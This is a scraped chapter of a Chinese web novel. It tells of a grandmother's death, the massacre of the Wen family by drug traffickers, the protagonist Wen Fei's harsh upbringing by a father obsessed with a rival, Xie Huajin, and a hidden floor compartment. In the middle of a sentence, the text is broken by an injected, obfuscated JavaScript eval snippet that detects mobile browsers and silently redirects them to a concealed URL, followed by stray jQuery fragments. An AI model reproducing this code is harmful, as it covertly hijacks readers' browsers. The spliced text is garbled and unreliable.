默认冷灰
24号文字
方正启体

26. 幸福与执念(回忆篇)

作者:绝望白勺文盲本书字数:K更新时间:
    6月19日,阴,宜丧葬。


    “斐斐~”唐芯眼含热泪,哽咽着朝温斐伸手。


    这一次,温斐上前握住那双相握的手,一枯黄羸弱,一坚韧有力;一苍老,一稚嫩。


    晨曦中,外婆一手抱着温斐拿回来的他和唐芯的毕业证和学位证、温斐和唐芯提前在学校里拍的各种毕业照、温斐在毕业典礼上拿着唐芯照片接受拨穗仪式的照片;一手握着唐芯和温斐的手,安详地离开人世。


    七岁那年,温斐目送外婆带着唐芯回家;二十二岁这年,唐芯与温斐相伴送外婆远行。


    那两本通红的结婚证被搁置在一旁,有时真相并不重要。


    她相信,这两个同样强大坚定的孩子会在漫长的人生旅途中得到自己想要的幸福。


    她走的很安心。


    他们都明白。


    外婆后事依照她的吩咐一切从简,不设灵堂、不开追悼会、不停灵,直接从医院送去火葬场火化,也不用回乡下老家,骨灰埋在城市公墓区,唐芯想她了随时可以去看。


    事情很多,连轴转忙活了一整天;事情也不是很多,只一天就处理完了。


    夜阑人静时,二人各自归家。


    唐芯需要时间独处,默默消化压抑了很久很久的悲伤。


    温斐突然兴起开始整理屋子,打算把一些堆在家里熟视无睹了很久的东西打包处理干净。


    ——————


    另一边


    前一晚谢华瑾把整个人跟游魂似的谢韵之送回房间,谢韵之好像想明白了什么,又好像什么也没理清楚。


    第二天父女二人默契地把前一晚的谈话当不存在,此事就此翻篇。


    夜,谢家主宅二楼书房


    谢韵之敲门进去,直接问:“爸爸,我包呢?二叔说他拿回来了。”


    谢华瑾指了指茶几,一个女士手包赫然在那儿。


    “哦~谢谢爸爸。”


    谢韵之拿起手包打开,里头原封不动,镜子、粉饼、眉笔、口红、卡包和……


    没送出去的手表。


    噔噔蹬蹬——


    谢韵之把手背在身后,小跑到谢华瑾身边,献宝似的说:“爸爸,我给你买了个礼物~”


    不年不节,送什么礼物?


    谢华瑾面色不变,眼神毫无波澜,伸手,掌心被放上一个小盒子,打开——


    真是毫不意外。


    一只手表。


    “呵。”他哼笑一声,戏谑问道:“怎么?别人不要的东西就给爸爸?”


    嗯?他怎么知道?


    谢韵之双手背在身后掐架,大脑飞速运转想着对策,别人?温斐?


    【昨晚已经收过了。】【问你爸。】


    温斐!好你个浓眉大眼、仪表堂堂的温斐斐,就这么把她卖了╭(╯^╰)╮???


    他跟她爹难不成一见如故、相谈甚欢?


    谢韵之试探地问:“爸爸,你和温斐聊过了吗?要怎么感谢他救了我这件事?”


    谢华瑾避而不答,想到另一件事:“你们是怎么认识的?”


    那天温斐下车后,留下意味不明的“手表和医药费”六个字便合上车门潇洒离去。


    他在回家的路上想明白,这大概是在回答他没回答的那个问题。


    也不知道那天晚上他哪个反应取悦了那位少爷,让人“大发善心”在离开前还特意给他留下个“哑谜”。


    手表在这儿了,医药费又是什么?


    ⊙(?◇?)???


    谢韵之不理解,这都多少天了,他爸还没把人查清楚吗?


    总不能真没去查吧?


    她爸什么时候这么听话了?


    谢华瑾一般不干涉谢韵之的生活,不管她与什么人来往,每天都做些什么,只要不违法犯纪,不作奸犯科,做什么都行。


    但父亲大人既然亲自过问,她自然是竹筒倒豆子般一干二净交代清楚。


    当然,这其中免不了艺术加工的成分,比如避而不谈自己加对方V信的隐因,又比如隐去某人是gay且疑似要结婚了的事。


    谢华瑾听完只觉得——割裂?


    没错,就是割裂。


    他以为的老于世故的人会因为低血糖被一辆小电驴撞晕,他以为心狠手辣的人在他女儿嘴里是个温柔体贴善解人意的优质青年,他以为淡薄冷漠的人居然会愿意陪人参加那种无聊的聚会。


    只能说,视角不同,先后顺序也不同,会看到一个人的不同面吧。


    “他要了你一个人情?”谢华瑾按了按太阳穴,直抓重点。


    “嗯。还强调在我的能力范围内,不会很久。”


    这话别说谢华瑾,谢家的智商洼地谢老太太都不会全信。


    谢韵之本身就是谢家的一个代表符号,她的一言一行甚至可以牵涉整个谢家的决策方针。


    可人家是谢韵之的救命恩人,他都这么说了,现在也只能走一步看一步。


    “那就先等等。拿不准的及时问我。”


    谢华瑾并非不信任女儿的能力,只是温斐这个人有些邪性。


    不是邪恶是邪门,为人处世如云遮雾绕,让人难以分辨其真实性情与潜在目的。


    与他打交道还是谨慎些为好。


    “好的。”


    谢韵之也不托大,她爹这么说自然有他的道理。


    “还有,再赔我个新的。”


    谢华瑾好整以暇地看着谢韵之,晃了晃装着那只手表的盒子,他也不为难女儿要求她重新想个物件来送他,要个新的不过分吧。


    “一样的。”他强调。


    “好哦~”


    Q版谢韵之在心里哭唧唧o(╥﹏╥)o,她滴小钱钱,哗啦哗啦滴,不见辣~


    ——————


    虽已入了夏,但山顶气温偏低,夜凉如水,月明星稀。


    谢华瑾洗完澡换上浴袍,端着一杯红酒推开卧室通往阳台的门,靠在露台围栏上眺望夜景。


    谢家庄园尽可能保留了原汁原味的自然风光,晚上只一些哨岗还亮着灯,时不时有安保人员打着手电巡逻。因此纵使谢华瑾视力保护地还不错,此刻向下望也只能看见大片大片随风摇曳的树影。


    他在看什么?


    他刚刚收到了姗姗来迟的调查报告。


    温斐。


    温家最后一人。


    ——————


    二十多年前,华国B市,或者说A省,只有两个真正的世家豪门——温家与谢家。


    谢氏一族好迁徙,在全国各地皆有分支,谁强谁为主家。家主喜欢住哪谢家中枢就在哪座城市扎根。时任谢家家主谢老爷子喜欢开放包容的B市,谢家就将家族重心转移至这里。


    与谢家相反,温家是A省坐地户,整个家族保守排外,不许族人出去,也不许外人进来。


    温家为当地土豪,地头蛇有天然优势,也只有触角遍及全国的百年簪缨世家谢家能在B市与之相抗。


    当年温谢两家在B市不说打得不可开交,也是互相看不顺眼,生意场上没少给对方使绊子。


    但自温老太爷过世后,温家便开始走下坡路。


    从云端跌落的路无止境,如果有,那叫深渊。


    只因显赫一时的温家最后的结局实在令人唏嘘——满门覆灭。


    温家最后一任家主——温斐的爷爷,那一辈温家有三子一女,温家主行二,上有一大哥,下有弟妹。


    按嫡长继承制,家主之位原轮不到他坐,谁成想他大哥温大爷相当有气性,南下经商拓展市场的提议被家里否决后干脆心一横投身军旅,参军入伍报效国家,这回没人能拦得住。


    参军,参战,立功,牺牲。八个字,是他的戎马半生,是他的潦倒结局。


    一代枭雄就此陨落,温家的命运就像那断了线的风筝,温大爷的离世是切断风筝线的利刃。


    半月后温老太爷心梗去世,温二爷匆匆继位。


    新任温家主是个平庸之辈,不能说毫无建树,只是当年在商场上确实被谢老爷子压着打,不过仗着温家本地势大,方能堪堪保持体面。


    温三与温四是龙凤胎,年龄只比温家主的儿女们大两三岁,温家主育有二子一女,温大少、温二少、温三小姐。


    温三的偶像是温大爷,从小便许下宏愿要效仿大哥参军报国,沙场建功。


    结果没成,几番折腾之后进了市公安局,成为一名平平无奇的警察。


    温四的偶像是温三,从小就是哥哥的跟屁虫,哥哥做什么她跟着做什么,因为身体素质不好做不了警察,她就换了条路子——当法医。


    温家主管不住弟妹,自然也拦不下儿子。


    温大少有样学样,大学考上警察学院。


    大概是二这个排行有毒,温二少连平庸都称不上,只能说是个胆子小的听话孩子。


    温三小姐当时年龄尚幼,不过高中生罢了。


    ——


    事情的变故往往只发生在一瞬间。


    在某个风和日丽的下午,有噩耗传来,温三端了一个d贩窝点后不幸牺牲。


    当天晚上,温四便不知所踪。


    温三头七后一天,温大少继承叔叔警号,自此杳无音信。


    再有消息是几月后。


    一个夜黑风高的晚上,茫茫夜色为滔天罪行遮掩,熊熊大火烧烬一切。


    那天晚上,整个A省,凡是姓温的、稍有资产的人家,全部被灭门。


    可笑的是,人们从d贩如此疯狂的打击报复活动中才捋出一丝线索,追查到温四和温大少联手做了一件大事——铲除了A省几乎所有d贩的老巢。


    此事举国震惊,中央派人全权接管,成立特别行动组全国范围内缉拿d贩,有关温家的所有情报如是否有活口、有几个等全部封锁,只有个别人才能知道。


    站在外人视角,说个地狱笑话:所谓一鲸落万物生,B市能有如今之盛景,也不乏温家的倾情付出。


    谢老爷子锐平温家主:一个无能鼠辈。若能在温三刚出事时就举阖族之力共讨d贩,何至于此!


    ——————


    温斐从小就知道自己的父亲不堪造就,温二的一生,一事无成。


    作为儿子,他无能。既没有出色的才干,也没有牺牲自我的胆气。既不能为父亲分担公务,又不愿联姻为家族增添助力。


    作为爱人,他懦弱。喜欢温柔小意的美貌孤女,却没有明着忤逆父亲的勇气。一拖再拖,最后等到家破人亡,美人救懦夫。


    作为弟弟,他卑劣。嫉妒兄长的才干,暗搓搓在父亲那里上眼药。没有光明正大与兄长一较高下的实力,也没有暗地里使绊子的脑子。


    作为兄长,他胆怯。眼睁睁看着年幼的妹妹葬身火海,不敢施救。


    作为父亲,他一败涂地。唯一做的好事就是死得早。


    ——


    温大失踪后,温家主把全部的希望压在温二身上,但他心知肚明自己这个儿子烂泥扶不上墙,便强行定下一门婚事,要求他早日完婚生个儿子出来。


    温二有心上人自然不愿意联姻生子,但又不敢违抗父亲的命令,辗转反侧一晚上,想出了个私奔的好主意,与心上人·美貌孤女·温斐母亲·温女士约好在某一天晚上私奔。


    d贩余孽火烧温家的那天晚上,温二在后院假山里挖金条。等他挖完金子出来,整个温家主宅已经被大火围困。


    他听见了,听见妹妹在三楼阳台呼救,但是他不敢,他不敢动,他不敢去救他的骨肉至亲,他怕死。


    温女士没等到温二,却看见了漫天火光,当即意识到情况有变,沿着之前摸索出的私奔小路潜进温家,拖走了跟条死鱼似的温二。


    感谢温二的懦弱,连温家都没发觉温女士的存在,更遑论外人了,让她得以带着他一路躲躲藏藏、平安顺遂地回到了自己的家乡——Z市。


    他们在这个被重重大山包围,甚至与世隔绝的小县城过上了富足安定的生活。


    ——————


    直到温斐出生。


    要说温二这辈子最恨的人是谁,不是他畏惧的父亲,不是他嫉妒的兄长,不是害得他家破人亡的d贩,而是谢华瑾。


    天资聪颖的谢华瑾是温二的噩梦,那是压在他身上一辈子的大山。


    在他眼里,谢华瑾是父亲赞不绝口的别人家


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408800|168788||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的孩子,是父亲滔滔不绝的夸赞,是父亲恨铁不成钢的眼神,谢华瑾的每一次成就都把他衬得像阴沟里的老鼠一样可怜可恨,是他穷极一生也无法逾越的高山。


    谢华瑾三岁开始打磨筋骨预备学武,他三岁只会把积木拼得乱七八糟;谢华瑾五岁出口成章、能言善辩,他五岁说话磕磕绊绊,不敢见人;谢华瑾考全校第一,他考全校倒数;谢华瑾考上名牌大学,他买了个大学文凭;谢华瑾功成名就,他隐姓埋名。


    他此生最畅快的一天莫过于得知谢华瑾只有个女儿的那天,彼时的他有一个不输于谢华瑾的惊艳绝伦的儿子。


    谢华瑾只生了个女儿,可他温二却有个儿子,是他赢了,哈哈哈哈——


    那天年仅五岁的温斐,冷眼看着又一次喝得酩酊大醉的父亲,癫狂大笑着颠来复去说这句话


    父亲又犯病了,他冷淡想着。


    温斐自己都数不清在父亲短暂存在他生命里的那七年里,谢华瑾这三个字究竟从父亲嘴里出现过多少次。


    他有时候甚至怀疑自己人生第一句话不是“妈妈”,更不是“爸爸”,而是“谢华瑾”。


    温二把压在自己身上的大山毫无保留堆到自己儿子身上,他教育温斐:“总有一天,你要威风凛凛地打败谢华瑾,居高临下地站在他面前,告诉他,你是我温二的儿子。哈哈哈哈——”


    每一次,每一次!


    他说着说着就开始狂笑,然后一瓶接一批喝酒把自己灌地神志不清。


    温斐会说话后,就被父亲要求开始认字;会走路了,就被送去学武;字认全后,开始读书,经史子集、名著典籍、天文地理、生物百科、物理化学……只要是温二能找到的,温斐就要学会。


    学不会就关着,关到会为止。


    温二的教育理念只有一句话:凡是谢华瑾会的,他儿子必须会;谢华瑾不会的,他儿子也得会!


    ——


    温女士一开始以为丈夫是望子成龙,虽心有不忍,却还是盼儿成才。直到温斐这个犟种生生把自己饿晕,温女士为母则刚,她不忍了。


    她早就受够丈夫了,这个金玉其外败絮其中,只会窝里横的草包窝囊废!


    那天起,温斐的每日日常就是:早起、吃早餐(听温二讲人家谢华瑾在他这个年纪已经……)、出门习武(路上听温二讲谢华瑾如何如何十恶不赦所以你以后必须打败他)、回家吃午餐(听温二讲你以后要……打败谢华瑾)、学习、吃晚餐(被询问学习进度、被责骂)、看妈妈与温二吵架、看妈妈与温二打架、看温二打输了去酗酒、睡觉。


    日复一日,年复一年。


    七岁后,世界终于安静。此后,他的世界寂寥无声,他的人生无欲无求,他的日子得过且过,他的每一天被唐芯拉着往前走。


    温斐的日常变成了:早起(被唐芯的敲门声吵醒)、吃早餐、去上学(提醒困顿的唐芯注意看路)、上课、吃午餐(听唐芯讲上午发生的趣事)、上课、回家路上(听唐芯讲下午发生的趣事)、吃晚餐(偶尔和唐芯、外婆一起吃饭听街坊邻里的八卦)、看书、睡觉。


    温斐最无法理解的事就是,唐芯是怎么从几个十分钟的课间里听到这么多同班同学的同校同学的八卦,但就是这些无聊的八卦,被唐芯转述给温斐,让他从她的视角看见了另一个绚丽多姿的世界。


    ——


    聪明人会知道自己很聪明吗?


    反正温斐是知道的。


    他从懂事后就知道他的父亲是一个何等不可理喻之人。


    温二的所有话他都左耳进右耳出,习武读书、对他有利的,他照做,至于其他的,他让自己不去在乎。


    温斐一直觉得自己不在乎那个谢华瑾的人。


    父亲走后,这个名字也随之从他的世界里彻底消失。


    直到那个人活生生站在自己面前,他才发觉,自己何等自负。


    那长达七年时间的魔音贯耳还是给他留下了不可磨灭的影响,他从来都不曾放下。


    他以为自己不在乎。


    他的不在乎是不看不听不想,是闭目塞听,是不闻不问,是自我麻痹。


    直到他站在他面前,堂堂正正向他介绍自己,他才终于明悟:遗忘不能等同于不存在,刻意忽视也无法抹平那些过往。


    但温斐尚未察觉,他对打败谢华瑾没兴趣,却有另一股执念。


    他想告诉他,这个世界上有个人叫温斐,他想让这个名字,这个人,也在你谢华瑾心上留下不可泯灭的印记。


    ——————


    家里收拾一通后就干净多了,甚至可以用家徒四壁来形容。


    父母去世后,温斐只重新装修了一遍主卧搬进去,其他地方都不曾理会。


    今天他完完整整逛遍了家里的每一个角落,然后除了卧室和书房不动,其他地方所有东西全部搬出去扔掉。


    在街坊邻居们或欢天喜地于天降横财,或抱怨“垃圾”堆太多他们没地扔垃圾,或催促前面的人别挡路,或议论这是谁家的大傻子的背景音中温斐步履轻松地回了家,然后径直去了书房,思考这些书该怎么处理。


    是留下呢,还是送人呢,还是捐了呢,还是卖了呢,还是扔了呢?


    温斐在书房里走走停停,清点书籍的类别与数目。


    然后……无意间踩到了一块木地板,一块不一样的木地板,一块踩下去声音和其他地方不一样的木地板。


    不是木头用的时间长了或者铺设的不好时会发出的“嘎吱”声。


    是另一种声音……


    温斐蹲下身子,曲起手指,轻敲四周,仔细分辨手指每一次落下时的响声。


    不消片刻便确定了大致位置,也确定了猜想。


    有暗格。


    ——————


    思绪回收。


    青年转身离开,徒留一地残缺过往。楼下的少女也尚未沉眠,拥着月色辗转反侧。


    命运在此将过往与未来划下一笔浓厚的分割线,无谓的青年引领无畏的少女带着亡者的寄语踏上跨越时空的大冒险,生命的凯歌在浩渺星河不息回响,又是谁的眸光落下写作祝福诗篇,是他?是她?还是祂?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)